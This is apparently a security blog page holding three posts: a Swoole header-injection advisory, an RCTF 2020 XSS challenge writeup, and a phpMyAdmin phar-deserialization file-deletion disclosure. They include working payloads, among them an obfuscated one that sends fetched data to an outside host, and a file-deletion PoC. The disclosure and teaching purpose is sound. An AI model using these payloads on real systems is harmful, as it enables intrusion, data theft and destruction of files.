HTTP Response Header Injection in Swoole<=4.5.2

发表于 2020 年 8 月 6 日

描述

在 Swoole <= 4.5.2 中，Swoole\Http\Response 类的 header()/rawCookie()/redirect() 方法在设置 HTTP 响应头时没有对换行符\r、\n 和空字符 \x00进行检查。如果开发者在调用以上方法时传入了用户可控的数据，攻击者可以利用该漏洞伪造任意 Response Header 和 Response Body。

典型场景

rawCookie 设置Cookie

if(isset($request->get['lang'])){
    $response->rawCookie('lang', $request->get['lang']);
}

redirect 重定向

if(isset($request->get['redirect_uri'])){
    $response->redirect($request->get['redirect_uri']);
    $response->end('Redirecting...');
}

header 设置响应头

if(isset($request->get['redirect_uri'])){
    $response->status(302);
    $response->header('Location', $request->get['redirect_uri']);
    $response->end('Redirecting...');
}

利用方式

  1. 伪造 Set-Cookie 响应头可以往当前域和父域写入任意 Cookie

image.png

  1. 伪造 Content-Length和Content-Type，并通过两次换行伪造 Response Body，实现内容欺骗(Content Spoofing) 或 XSS

image.png

  1. 在重定向的场景中，即使 HTTP 状态码为 3xx ，攻击者也可以通过将 Location 头设置为空，使得 Chrome 继续渲染 Response Body

image.png

时间线

扩展阅读

https://portswigger.net/kb/issues/00200200_http-response-header-injection

RCTF 2020 rBlog writeup

发表于 2020 年 6 月 1 日

source code

Apparently the challenge "rBlog" is based on a blog service. Going through the provided source code, it's easy to determine following interfaces:

Firstly let's take a look into the feedback function.

for (let i of resp.data) {
    let params = new URLSearchParams()
    params.set('highlight', i.highlight_word)
    if (i.link.includes('/') || i.link.includes('\\')) {
        continue; // bye bye hackers uwu
    }
    let a = document.createElement('a')
    a.href = `${i.link}?${params.toString()}`
    a.text = `${i.ip}: ${a.href}`
    feedback_list.appendChild(a)
    feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)

A new feedback is sent in this way:

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded

postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&highlight=writeup

When admin visits /posts/feedback to view the feedbacks, <a> tags is created like:

<a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">harmless texts...</a>

Since the feedback page is on route /pages/feedback, the relative URL will surely bring the admin to /pages/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup, the right page. While the only restriction here is the postid should never contain any / or \, technically we now are able to create:

<a href="ANYTHING_BUT_SLASHES_OR_BACKSLASHES?highlight=ANYTHING">harmless texts...</a>

Generally we would come up with the idea of using javascript: to build a classical XSS here, but the DOM is sanitized by DOMPurify, no chance for javascript: today. As for data:html;base64,..., Chrome would refuses to navigate from http/https to data: via <a> tag. So let's just leave it here for now and move on to the highlight_word function:

function highlight_word() {
    u = new URL(location)
    hl = u.searchParams.get('highlight') || ''
    if (hl) {
        // ban html tags
        if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
            u.searchParams.delete('highlight')
            history.replaceState('', '', u.href)
            alert('⚠️ illegal highlight word')
        } else {
            // why the heck this only highlights the first occurrence? stupid javascript 😠
            // content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
            hl_all = new RegExp(hl, 'g')
            replacement = `<b class="hl">${hl}</b>`
            post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
            let b = document.querySelector('b[class=hl]')
            if (b) {
                typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()
            }
        }
    }
}

This function extracts the param highlight from current URL into variable hl, and replace all the occurrences in DOM with styled <b> tags. Zszz(众所周知/As we all know), if we pass a string as the first argument to String.replace(), only the first match will be replaced. To replace all matches, we need to pass a RegExp object with g (global) flag.

This is exactly how this highlighting function has been coded. We are able to modify the DOM with highlight param:

post_content.innerHTML.replace(/YOUR_HIGHLIGHT_WORDS/g, '<b class="hl">YOUR_HIGHLIGHT_WORDS</b>')

And here comes the tricky part: other than plain texts, the "replacement" could be a valid RegExp, which means we can do content injections like this:

The RegExp matches word do and replaces it with <b class="hl">do|LUL_CONTENT_INJECTION</b>. But how do we inject HTML tags? < or > are not allowed in hl ! If you ever read the docs of String.prototype.replace(), this table should raise your eyebrows:

You can really use those replacement patterns to introduce disallowed characters:

I crafted this payload with 19 out of 36 chars could be filled with javascript codes:

$`style%20onload=ZZZZZZZZZZZZZZZZZZZ%0a|

Now we get a reflected-XSS in highlight param, but obviously 36 chars are not enough to carry our payload to fetch the flag. So we need another legit trick here. You can actually find an interesting behavior with following codes:


If the href attribute starts with a different HTTP(s) protocol the current location is loaded with, it will not be recognized as a relative URL.

Finally we can create a feedback with postid http:DOMAIN_OR_IP:PORT which would lead the XSS bot to our own HTTP server when he clicks the <a> tag. Smuggle our payload in window.name and redirect to the reflected-XSS to eval(top.name).

Update: Some came up with this unintended solution exploiting the u.search and a longer postid:

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 271
Content-Type: application/x-www-form-urlencoded

postid=205f4402-efeb-4200-97a8-808a3159157f?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0nLy9jZjQzZGZmZS5uMHAuY28vJytlc2NhcGUodCl9KX0p`)))%3b`%26highlight=$%2526style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|.%26`#&highlight=1

// prompt('500IQ')
https://rblog.rctf2020.rois.io/posts/205f4402-efeb-4200-97a8-808a3159157f?`(prompt(`500IQ`));`&highlight=$%26style%20onload=eval(%22%60%22%2Bu.search)%0A|.&`#

Arbitrary file deletion in phpMyAdmin <= 4.8.4

发表于 2019 年 1 月 26 日

Description

This vulnerability allows a logged-in user to delete arbitrary file via loading a crafted phar file by LOAD DATA LOCAL INFILE. Neither UploadDir nor SaveDir in config will take effect.

To exploit this vulnerability, attacker must be able to upload a crafted file to the server hosting phpMyAdmin. The content of file is essential, while the filename is not our concern. There are several ways to create a file on the server:

By loading a local file through "phar://" stream wrapper, an unserialization would be performed while parsing the file. Magic methods like __destruct and __wakeup from any class in the context can be triggered. And I found PhpMyAdmin\File a perfect exploit gadget in phpMyAdmin, which deletes a file in __destruct method. To generate exploit.phar:

<?php
include 'pma484/libraries/classes/File.php';
$o = new PhpMyAdmin\File();
$o->_name='/var/www/html/file_to_delete.txt';
$o->_is_temp = True;
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($o);
$phar->stopBuffering();

More details about this attack method are available here: File Operation Induced Unserialization via the “phar://” Stream Wrapper - Sam Thomas

To reproduce

  1. login to phpMyAdmin
  2. upload exploit.phar to server
  3. execute SQL:
LOAD DATA LOCAL INFILE 'phar:///path/to/exploit.phar/1' INTO TABLE `any_exist_table`

阅读更多